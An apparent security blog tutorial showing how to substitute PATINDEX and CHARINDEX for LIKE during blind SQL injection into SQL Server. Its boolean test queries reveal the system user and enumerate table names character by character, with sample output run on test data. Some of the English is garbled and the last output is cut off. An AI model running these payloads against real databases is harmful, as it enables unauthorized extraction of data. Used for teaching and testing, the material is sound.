Introduction to SQL Server Function to Perform Fuzzy Search

Summary

it is normal to filter data on a daily site. This method applies to filtering like, if, CASE, in other words, the injection does not work properly, but the page does not show back.

Replacement Method	Description
PATINDEX('%pattern%', expression)	returns the position where the pattern string first appears in the expression. The starting value starts from 1. , 0 is not returned this function is highly consistent with like and can be the same as like use_% [] [^] search for wildcards
CHARINDEX('pattern', expression)	returns the position where the pattern string first appears in the expression. The starting value starts from 1. , 0 is not returned

Test Data

1> select * from article;
2> go
+----+-----------+-----------+
| id | title       | content    |
+----+-----------+-----------+
|  1 | Test Title | Test Content |
|  2 | Test Title 2 | Test Content 2 |
+----+-----------+-----------+
(2 rows affected)

Plain Text

# Test table data users;
​
sql server> select * from users;
+----+--------------+----------+
| id | username     | password |
+----+--------------+----------+
|  1 | test-user-01 |  123456  | 
|  2 | test-user-02 |  234567  |
+----+--------------+----------+
2 rows in set (0.00 sec)

Plain Text

sql server> SELECT system_user;
+-----------------------+
| field1                |
+-----------------------+
| sa                    |
+-----------------------+
1 row in set (0.00 sec)

Plain Text

sql server> select db_name();
+-----------------------+
| field1                |
+-----------------------+
| test                  |
+-----------------------+
1 row in set (0.00 sec)

PATINDEX()

Inquire user

SQL：select 'test' where patindex('%sa%', system_user)>=1;

# system_user = sa
​
# the right situation
1> select 'test' where patindex('%sa%', system_user)>=1;
2> go
+-----+
|     |
+-----+
| test |
+-----+
(1 rows affected)
​
​
​
# error case
1> select 'test' where patindex('%aaa%', system_user)>=1;
2> go
+--+
|  |
+--+
+--+
(0 rows affected)

Query Table Name

note:

The name in OVER(Order by table_name) should be changed to a field in the test.dbo.sysobjects table

Querying different libraries can be done like this

For example, there are now test libraries and test2 libraries. Then you can call like this

test.dbo.sysobjects

test2.dbo.sysobjects

Querying different tables can be done like this

E.g:

Modify row_number>=1

Modify row_number>=2

Notice:

XType='U' means to get all user tables of a database;

XType='S' means to get all system tables of a database;

For example, now the query is the table name of the test library

SQL：select 'test' where patindex('%article%', (select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType='U') as a where row_number=1))>=1

# first table name = article
​
# the right situation
1> SELECT
  'test'
WHERE
  patindex(
    '%article%',
    (
      SELECT
        name
      FROM
        (
          SELECT
            ROW_NUMBER () OVER (ORDER BY name) AS row_number,
            name
          FROM
            test.dbo.sysobjects
          WHERE
            XType = 'U'
        ) AS a
      WHERE
        row_number = 1
    )
  ) >= 1;
2> go
+-----+
|     |
+-----+
| test |
+-----+
(1 rows affected)
​
​
​
# wrong situation
1> SELECT
  'test'
WHERE
  patindex(
    '%aaaaaaaaaaaaaa%',
    (
      SELECT
        name
      FROM
        (
          SELECT
            ROW_NUMBER () OVER (ORDER BY name) AS row_number,
            name
          FROM
            test.dbo.sysobjects
          WHERE
            XType = 'U'
        ) AS a
      WHERE
        row_number = 1
    )
  ) >= 1;
2> go
+--+
|  |
+--+
+--+
(0 rows affected)

CHARINDEX()

query user

SQL：select 'test' where charindex('s', system_user)>=1

# system_user = sa
​
# right case
# system_user first character
1> select 'test' where charindex('s', system_user)>=1
2> go
+-----+
|     |
+-----+
| test |
+-----+
(1 rows affected)
​
# system_user second character
1> select 'test' where charindex('sa', system_user)>=1
2> go
+-----+
|     |
+-----+
| test |
+-----+
(1 rows affected)
​
​
# wrong situation
1> select 'test' where charindex('aaaaa', system_user)>=1
2> go
+--+
|  |
+--+
+--+
(0 rows affected)

query table name

SQL：select 'test' where charindex('ar', (select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType='U') as a where row_number=1))>=1

# first table name = article
​
# the right situation
# Query the first 1-2 characters
1> SELECT
  'test'
WHERE
  charindex(
    'ar',
    (
      SELECT
        name
      FROM
        (
          SELECT
            ROW_NUMBER () OVER (ORDER BY name) AS row_number,
            name
          FROM
            test.dbo.sysobjects
          WHERE
            XType = 'U'
        ) AS a
      WHERE
        row_number = 1
    )
  ) >= 1;
2> go
+-----+
|     |
+-----+
| test |
+-----+
(1 rows affected)
​
​
# Query 1-4 characters
1> SELECT
  'test'
WHERE
  charindex(
    'arti',
    (
      SELECT
        name
      FROM
        (
          SELECT
            ROW_NUMBER () OVER (ORDER BY name) AS row_number,
            name
          FROM
            test.dbo.sysobjects
          WHERE
            XType = 'U'
        ) AS a
      WHERE
        row_number = 1
    )
  ) >= 1;
2> go
+-----+
|     |
+-----+
| te|
+-----+

Tutorial Boy

Introduction to SQL Server Function to Perform Fuzzy Search

Summary

Test Data

PATINDEX()

Inquire user

Query Table Name

CHARINDEX()

query user

query table name

Post a Comment

The Story of 3 bugs that lead to Unauthorized RCE - Pascom Systems

Introduction to Spring Boot Related Vulnerabilities

Joern for Beginners: A How-To Guide for Source Code Analysis

PHP - A File Inclusion Vulnerability

How to Install Ventoy --- an Open-Source Tool to Create a Bootable USB drive on Ubuntu / Debian

A Summary of OAuth 2.0 Attack Methods